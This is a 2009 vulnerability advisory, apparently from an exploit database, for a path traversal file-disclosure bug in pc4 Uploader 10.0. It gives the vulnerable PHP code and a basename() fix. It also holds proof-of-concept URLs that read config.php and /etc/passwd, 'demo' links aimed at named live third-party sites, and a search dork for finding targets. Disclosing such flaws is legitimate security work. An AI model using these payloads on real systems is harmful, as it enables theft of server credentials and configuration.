Lucene search
K

pc4 Uploader <= 10.0 Remote File Disclosure Vulnerability

🗓️ 22 Jun 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

pc4 Uploader <= 10.0 Remote File Disclosure Vulnerability advisory and Po

Code

                                                                                            ||          ||   | ||
                                     o_,_7 _||  . _o_7 _|| q_|_||  o_\\\_,
                                    (  :  /    (_)    /           (      .

                                             ___________________
                                           _/QQQQQQQQQQQQQQQQQQQ\__
                                        __/QQQ/````````````````\QQQ\___
                                      _/QQQQQ/                  \QQQQQQ\
                                     /QQQQ/``                    ```QQQQ\
                                    /QQQQ/ Advisory                 \QQQQ\
                                   |QQQQ/    By      Qabandi         \QQQQ|
                                   |QQQQ|                            |QQQQ|
                                   |QQQQ|    From Kuwait, PEACE...   |QQQQ|
                                   |QQQQ|                            |QQQQ|
                                   |QQQQ\       iqa[a]hotmail.fr     /QQQQ|
                                    \QQQQ\                      __  /QQQQ/
                                     \QQQQ\                    /QQ\_QQQQ/
                                      \QQQQ\                   \QQQQQQQ/
                                       \QQQQQ\                 /QQQQQ/_
                                        ``\QQQQQ\_____________/QQQ/\QQQQ\_
                                           ``\QQQQQQQQQQQQQQQQQQQ/  `\QQQQ\
                                              ```````````````````     `````

=Vuln:		pc4arb - pc4 Uploader &lt;= 10.0 Remote File Disclosure Vulnerability
=INFO:		http://pc4arb.com/article-48.html
=BUY:  		~~~
=Download:      ~~~
=DORK:		intext:&quot;Pictures of Whale Penis&quot;

                                  ____________
                              _-=/:Conditions:\=-_
````````````````````````````````````````````````````````````````````````````````

none

---------------------------------------===--------------------------------------

                                _________________
                            _-=/:Vulnerable_Code:\=-_
````````````````````````````````````````````````````````````````````````````````
// in &quot;./pc4uploader/upfiles/index.php&quot;

function displayimage( $fn, $lastMod, $fs )
{
    global $out_Types;
    $ext = explode( &quot;.&quot;, $fn );
    $ext_i = count( $ext ) - 1;
    $file_ext = $ext[$ext_i];
    header( &quot;Last-Modified: &quot;.$lastMod );
    header( &quot;ETag: &quot;.getetag( $fn ) );
    header( &quot;Accept-Ranges: bytes&quot; );
    header( &quot;Content-Length: &quot;.$fs );
    header( &quot;Content-Type: &quot;.$out_Types[$file_ext] );
    $fp = fopen( $fn, &quot;rb&quot; ); &lt;-----------------------------//opens $fn with no filtering or precautions taken
    if ( function_exists( fpassthru ) )
    {
        fpassthru( $fp );
    }
    else
    {
        $temp = fread( $fp, $fs );
        echo $temp;
    }
    fclose( $fp );
    return;
}

// Function displayimage() is later called

$file = $_GET['file']; &lt;---------------------------------// again, not filtered or anything.
//..
//..
//..
//..
    displayimage( $file, &quot;Thu, 01 Jan 2006 12:00:00 GMT&quot;, $fs );

---------------------------------------===--------------------------------------

                                     _______
                                 _-=/:P.o.C:\=-_
````````````````````````````````````````````````````````````````````````````````

http://localhost/pc4uploader/upfiles/index.php?file=../config.php
http://localhost/pc4uploader/upfiles/index.php?file=/etc/passwd

demo:

http://upload.traidnt.net/upfiles/index.php?file=../config.php
{Save File to view the code if needed}

http://uploader.pc4arb.com/upfiles/index.php?file=../config.php
{view source}



---------------------------------------===--------------------------------------

                                    __________
                                _-=/:SOLUTION:\=-_
````````````````````````````````````````````````````````````````````````````````

//Use this displayimage() function instead, notice the changes..

function displayimage( $fn, $lastMod, $fs )
{
    global $out_Types;
    $fn = basename($fn); 
    $ext = explode( &quot;.&quot;, $fn );
    $ext_i = count( $ext ) - 1;
    $file_ext = $ext[$ext_i];
    header( &quot;Last-Modified: &quot;.$lastMod );
    header( &quot;ETag: &quot;.getetag( $fn ) );
    header( &quot;Accept-Ranges: bytes&quot; );
    header( &quot;Content-Length: &quot;.$fs );
    header( &quot;Content-Type: &quot;.$out_Types[$file_ext] );
    $fp = fopen( $fn, &quot;rb&quot; );
    if ( function_exists( fpassthru ) )
    {
        fpassthru( $fp );
    }
    else
    {
        $temp = fread( $fp, $fs );
        echo $temp;
    }
    fclose( $fp );
    return;
}

//I added    $fn = basename($fn);, it will convert anything like &quot;../../config.php&quot; to &quot;config.php&quot;
// since config.php doesent exist the script will do the rest by giving a safe error,
// also move ./include/default.gif to ./upfiles/default.gif
// everything should be good :)

---------------------------------------===--------------------------------------
 ______________________________________________________________________________
/                                                                              \
|         Tem al-tableegh 3an el-thaghra min sinat yaddi 	               |
\______________________________________________________________________________/
                                \ No More Private /
                                 `````````````````
                           Salamz to All Muslim Hackers.

# sebug.net

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Jun 2009 00:00Current
7.1High risk
Vulners AI Score7.1
16